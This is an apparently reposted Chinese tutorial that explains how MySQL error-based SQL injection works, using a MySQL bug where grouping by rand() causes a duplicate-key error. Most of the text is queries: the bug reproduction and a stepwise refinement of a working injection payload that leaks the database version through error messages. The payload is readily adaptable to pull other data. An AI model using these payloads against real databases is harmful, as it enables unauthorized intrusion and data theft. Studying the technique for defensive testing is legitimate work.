MYSQL高级爆错注入原理_MySQL
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了MYSQL高级爆错注入原理_MySQL,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1563字,纯文字阅读大概需要3分钟。
内容图文
国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.重现过程
use mysql;create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);select left(rand(),3),a from r1 group by 1;select left(rand(),3),a, count(*) from r1 group by 1;select round(rand(1),1),a, count(*) from r1 group by 1;
于是便可以这样拿来爆错注入了。
select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;
尝试拿来实战
select * from user where user=’root’ and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));
1248 (42000): Every derived table must have its own alias
提示多表查询要有别名 那好办
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了
91ri.org:个人认为这篇:《双查询注入》中关于mysql爆错注入介绍的更为详细,推荐一下。
内容总结
以上是互联网集市为您收集整理的MYSQL高级爆错注入原理_MySQL全部内容,希望文章能够帮你解决MYSQL高级爆错注入原理_MySQL所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。